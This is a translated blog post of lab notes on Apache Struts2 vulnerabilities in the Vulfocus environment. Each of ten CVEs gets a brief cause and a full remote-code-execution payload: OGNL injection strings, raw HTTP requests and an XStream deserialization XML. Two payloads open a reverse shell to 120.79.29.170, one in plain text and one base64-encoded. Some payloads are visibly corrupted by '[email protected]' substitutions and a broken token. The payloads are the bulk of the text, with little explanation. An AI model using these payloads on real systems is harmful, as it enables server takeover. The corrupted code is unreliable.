Vulfocus-struts2 initial understanding


CVE-2013-2135

Vulnerability principle:

  1. The wildcard * is configured, and name.jsp is used to render the page when accessing name.action, but when the name is extracted and parsed, OGNL expression parsing is performed on it, which leads to command execution.
  2. If a request does not match any other defined action, it will match *, and the requested action name will be used for action name loading of the JSP file. And, as a threat value of an OGNL expression, {} can execute arbitrary Java code on the server side.
  3. The vulnerability is a combination of two issues: the requested action name is not escaped or double-checked against the whitelist, and OGNL expressions are double-evaluated when using the combination $ and % opening characters in TextParseUtil.translateVariables.

Vulnerability detection:
file

payload:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),#q}.action

Do url encoding:

file

CVE-2017-5638

The vulnerability occurs because the content type is not escaped on error and is then used by the LocalizedTextUtil.findText function to generate the error message. This function will interpret the provided message and anything in ${…} will be treated as an Object Graph Navigation Library (OGNL) expression and evaluated as such. An attacker can exploit these conditions to execute OGNL expressions, which in turn execute system commands.

"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls /tmp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

file

file

CVE-2016-3081

Rationale: When dynamic method invocation is enabled, malicious expressions can be passed that can be used to execute arbitrary code on the server side.
method: Action prefix to call the function declared as public, but in the low version, Strtus2 will not perform OGNL calculation on the value of the name method, but it will be executed in the high version.

index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWr(iter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=ls /tmp

file

CVE-2017-9791

The vulnerability appears in the struts2-struts1-plugin-2.3.32.jar plug-in. The function of this plug-in is to make struts2 compatible with the code of struts1. ActionMessage is displayed on the front end of the client, leading to the getText() function, and finally into the ActionForward class The execute() method causes the message to be executed as an ognl expression.

file

file

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

file

CVE-2017-9805

The cause of this vulnerability consists of two parts. One is that the Struts2 REST plug-in itself does not perform security checks on the incoming data, so that attackers can pass in malicious xml objects to XStream. The other is remote code execution caused by XStream deserializing the incoming xml.

key code:

public String intercept(ActionInvocation invocation) throws Exception {
    HttpServletRequest request = ServletActionContext.getRequest();
    ContentTypeHandler handler = selector.getHandlerForRequest(request);

    Object target = invocation.getAction();
    if (target instanceof ModelDriven) {
        target = ((ModelDriven)target).getModel();
    }

    if (request.getContentLength() > 0) {
        InputStream is = request.getInputStream();
        InputStreamReader reader = new InputStreamReader(is);
        handler.toObject(reader, target);
    }
    return invocation.invoke();
}


 <map> 
 <entry> 
 <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
 <command>
 <string>bash</string>
 <string>-c</string>
 <string>
 bash -i >& /dev/tcp/120.79.29.170/6666 0>&1
 </string>
 </command> 
 <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
 </entry> 
 </map>


file

CVE-2019-0230

The main reason for the vulnerability is that the Apache Struts framework performs a second ognl parsing on the attribute values ​​assigned to certain tag attributes (such as id) when it is enforced. An attacker can construct a malicious OGNL expression and set it to be modified by external input, and will execute the attribute value of the Struts2 tag of the OGNL expression, triggering the parsing of the OGNL expression, and finally causing the impact of remote code execution.

file

skillName=%{#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#[email protected]@getResponse().getWriter(),#[email protected]@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
}

file

CVE-2018-11776

The cause of the vulnerability: the value of alwaysSelectFullNamespace is true, the action element does not set the namespace attribute, or uses wildcards, after the namespace is passed in by the user, it is intercepted and the middle part of {} is assigned to var, and then evaluator.evaluate(var) is called The result is executed, causing the OGNL expression to be parsed.

file

${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

file

CVE-2020-17530

The reason for the vulnerability is that Structs2 will perform secondary expression analysis on the attribute values ​​of some tag attributes (such as id). When these tag attributes are used and the value is controllable by the %{x}user x, the attacker constructs a payload, which contains OGNL expressions , through OGNL, you can access the properties of the object and execute system commands

POST /.action HTTP/1.1
Host: http://120.79.29.170:30161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0ogtkm7uvdt1kgl7lufd5d04y1.node0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;  boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 837

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
 

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ls /tmp")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--


file

CVE-2021-31805

The vulnerability is caused by the incomplete repair of CVE-2020-17530. The CVE-2020-17530 vulnerability is due to the fact that Struts2 performs secondary expression analysis on the attribute values ​​​​of certain tag attributes (such as id), so when these tag attributes When %{x} is used and the value of x is user-controllable, the user can pass in another %{payload} to cause the execution of the OGNL expression. In the CVE-2021-31805 vulnerability, there are still some label attributes that will cause the attacker to execute maliciously constructed OGNL expressions, resulting in remote code execution

POST /s2_062/index.action HTTP/1.1
Host: 120.79.29.170:28642
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://120.79.29.170:12757
Connection: close
Referer: http://120.79.29.170:12757/s2_062/index.action
Cookie: JSESSIONID=E54FED6B6CA8147D797A8771858A21CE; wp-settings-time-1=1678102638; wp-settings-1=libraryContent%3Dbrowse%26posts_list_mode%3Dlist; csrftoken=A0Vz522jDmBu7sJHbuhEe8DOJ8UizgNw2WDeeCiedNWse0LaAtwQWuOY760mXHv2
Upgrade-Insecure-Requests: 1

name=name
=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ%3D%3D}|{base64,-d}|{bash,-i}'}))

file

Summarize

I don't know much about OGNL statements, so the payload is also difficult to understand. Just use the payload as a first-time understanding.

Guess you like

Origin blog.csdn.net/weixin_53090346/article/details/130556912